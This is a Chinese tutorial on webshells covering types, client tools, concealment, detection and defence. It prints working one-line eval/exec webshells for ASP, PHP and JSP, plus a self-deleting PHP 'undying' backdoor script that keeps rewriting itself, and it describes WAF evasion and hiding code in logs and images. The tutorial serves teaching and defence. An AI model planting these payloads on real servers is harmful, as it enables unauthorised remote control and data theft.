顾名思义,“web”的含义是显然需要服务器开放WEB服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、网站挂马等恶意操作,危害极大。
黑客使用Webshell的第一步通常是将其上传到可以访问的服务器中,例如利用用户CMS系统的第三方插件中的漏洞上传一个简单的php Webshell。当然,Webshell类型和作用也不完全相同,一些简单的Webshell只起到连接外界的作用,允许黑客插入更加精准的恶意脚本,执行他们所需要的指令;
另外一些则可能更加复杂,带有数据库或文件浏览器,让黑客能够从数千英里之外的地方查看入侵系统的代码和数据。无论何种设计,Webshell都极其危险,是网络罪犯和高级持续威胁的常用工具。
Webshell常见的攻击特点主要有以下几点:
1、持久化远程访问
Webshell脚本通常会包含后门,黑客上传Webshell之后,就可以充分利用Webshell的后门实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完Webshell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。
2、提权
在服务器没有配置错误的情况下,Webshell将在WEB服务器的用户权限下运行,而用户权限是有限的。通过Webshell,黑客可以利用系统上的本地漏洞来实现权限提升,从而获得Root权限,这样黑客基本上可以在系统上做任何事情,包括安装软件、更改权限、添加和删除用户、窃取密码、阅读电子邮件等等。
3、隐蔽性极强
Webshell可以嵌套在正常网页中运行,且不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80端口传递,因此不会被防火墙拦截,在没有记录流量的情况下,Webshell使用POST包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。
Webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,JSP脚本木马,也有基于.NET的脚本木马。根据时代和技术的变迁,也有用python和lua编写的脚本木马。
常用有如下几种:
1、大马
•体积大,功能全
•会调用系统关键函数
•以代码加密进行隐藏
2、小马
•体积小,功能少
•一般只有一个上传功能,用于上传大马
3、一句话木马
•代码短•使用场景大,可单独生成文件,可插入文件
•安全性高,隐藏性强,可变形免杀
•框架不变,数据执行,数据传递
4、打包马
•主要用于打包网站源码
5、拖库马
•主要用于导出网站数据库
6、内存马
•无文件落地
•极难检测和发现
•难以清除
Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。
不同脚本类型的一句话木马:
<%eval request(“cmd”)%> <%@ Page Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%> <?php @eval($_POST[‘cmd’]); ?> <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
这里仅对PHP的一句话木马进行分析,核心步骤如下:
1、数据的传递
•$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER
•从远程远程URL中获取数据: file_get_contents、curl、svn_checkout...(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)
•从本地磁盘文件中获取数据: file、file_get_contents...(将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)
•从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
•从图片头部中获取: exif_read_data...(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)
2、代码执行
将用户传输的数据进行执行
•代码执行函数:eval、assert、system…执行(这是最普通、标准的代码执行)
•LFI:include、require...(利用浏览器的伪协议将文件包含转化为代码执行)
•动态函数执行:($()...PHP的动态函数特性)
•Curly Syntax:(${${…}}...这种思路可以把变量赋值的漏洞转化为代码执行的机会)
3、内存马
有关Java内存马以及JspWebShell的免杀我打算之后在Java代码审计中详细讲解,这里就全部以PHP的脚本木马为主。
何为内存马?
内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。
但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
4、PHP内存马
PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD中是常用手段之一。在蚁剑中也有专门的插件可以一键注入内存马。原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。
<?php ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行 set_time_limit(0); //设置脚本最大执行时间linux下可能不大好用 unlink(__FILE__); //删除自身 $file = 'shell.php'; $code = '<?php @eval($_POST["cmd"]);?>'; while (1) { file_put_contents($file, $code);//恶意代码 usleep(5000); //延迟执行可有可无 } ?>
本质上原理是不变大,执行死循环,然后删除自身。但实际上这样做还是会有文件落地,只是管理员删不掉、删不完罢了。我们也可以用利用fastcgi对php攻击执行命令,但这样是否算一个驻留wenshell还有待争议。
1.中国菜刀(Chopper)
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!
在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。
2.蚁剑(AntSword)
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
使用编/解码器进行流量混淆可绕过WAF,并且有多款实用插件。
项目地址:https://github.com/AntSwordProject/antSword
3.冰蝎(Behinder)
冰蝎是一款基于Java开发的动态二进制加密通信流量的新型Webshell客户端,由于它的通信流量被加密,使用传统的WAF、IDS等设备难以检测,目前在HVV中使用较多的一款工具。
项目地址:http://github.com/rebeyond/Behinder
4.哥斯拉(Godzilla)
哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端,内置了3种有效载荷以及6种加密器,6种支持脚本后缀,20个内置插件,也是目前在HVV中使用较多的一款工具。
项目地址:https://github.com/BeichenDream/Godzilla
5.C刀(Cknife)
C刀是一款基于Java开发的完全基于配置文件的中国菜刀,跨平台,脚本类型支持ASP、ASPX、PHP、JSP、JSPX、Customize
目前完成的功能有:文件管理、数据库管理、模拟终端以及代理设置等。
项目地址:https://github.com/Chora10/Cknife
6.Web版菜刀(WebKnife)
WebKnife是陌小离练习ajax时候写的一款半成品Web版菜刀,目前完成的功能有:文件管理,虚拟终端,文件查看,图片查看,一键挂黑!
项目地址:https://github.com/MoLeft/WebKnife
7.XISE
XISE是小骏用易语言开发的一款类似于中国菜刀的Webshell网站管理工具,早些年做黑帽SEO的基本人手一份,现在已经停止更新,至于什么原因,大家都懂的!!!
8.开山斧
开山斧是一款基于Python 2.7X + QT4开发的一款跨平台菜刀 (Win/Linux/Mac),体积比较大,刚出来时只用过一次,现在用的人应该不多,也已经停止更新了。
项目地址:https://github.com/pyqteval/evlal_win
9.K8飞刀
K8飞刀是K8哥哥开发的一款Webshell网站管理工具,不得不说他开发的安全工具都很强大且实用,只不过个人感觉略显臃肿,对新人来说可能不是很友好,有兴趣的可以自己去看一下。
项目地址:https://github.com/k8gege/K8tools
9.Weevely
Weevely是一款python编写的生成和管理php webshell的安全测试工具,目前拥有30多个模块:文件管理、命令执行、数据库管理、端口扫描等功能,部分模块不支持在Windows环境下使用。
项目地址:https://github.com/epinna/weevely3
WeBaCoo是一款Perl语言编写的Web后门工具,它的特别之处在于Web服务器和客户端之间的通信载体是Cookie,这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到该后门的存在。当然,这只是以前的介绍,现在基本都会被检测了。
项目地址:https://github.com/anestisb/WeBaCoo
1.隐藏到日志
例如,修改发送数据包的头部,添加WebShell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。
2.隐藏到合法文件
例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。
3.混淆
删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。
1.静态检测
在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。
例如,网站目录下某php文件访问量过少,且来源ip固定。
2.动态检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。
例如,webshell如果执行系统命令的话,会有进程。
3.webshell扫描
点击执行操作
webshell文件被删除,但是%SystemDrive%目录还存在。
从根本上解决动态网页脚本的安全问题,要做到防注入、防爆库、防COOKIES欺骗、防跨站攻击(xss)等等,务必配置好服务器FSO权限。最小的权限等于最大的安全。
最有效方法就是:可写目录不给执行权限,有执行权限的目录不给写权限。
具体的防范方法(以php为例子):
1、建议用户通过ftp来上传、维护网页,尽量不安装php的上传程序。
2、对php上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。
3、php程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。
4、到正规网站下载程序,下载后要对数据库名称和存放路径进行修改,数据库名称要有一定复杂性。
5、要尽量保持程序是最新版本。
6、不要在网页上加注后台管理程序登陆页面的链接。
7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过上传即可。
8、要时常备份数据库等重要文件。
9、日常要多维护,并注意空间中是否有来历不明的php文件。
10、尽量关闭网站搜索功能,利用外部搜索工具,以防爆出数据。
11、利用白名单上传文件,不在白名单内的一律禁止上传,上传目录权限遵循最小权限原则。
12、使用防篡改系统工具,或者使用软件监控网站目录文件的操作日志,一发现异常马上处理。
攻击层面还应考虑如何绕过系统上传webshell,如何隐藏webshell免查杀,防御方面应该考虑如何避免webshell被上传,如何查杀webshell。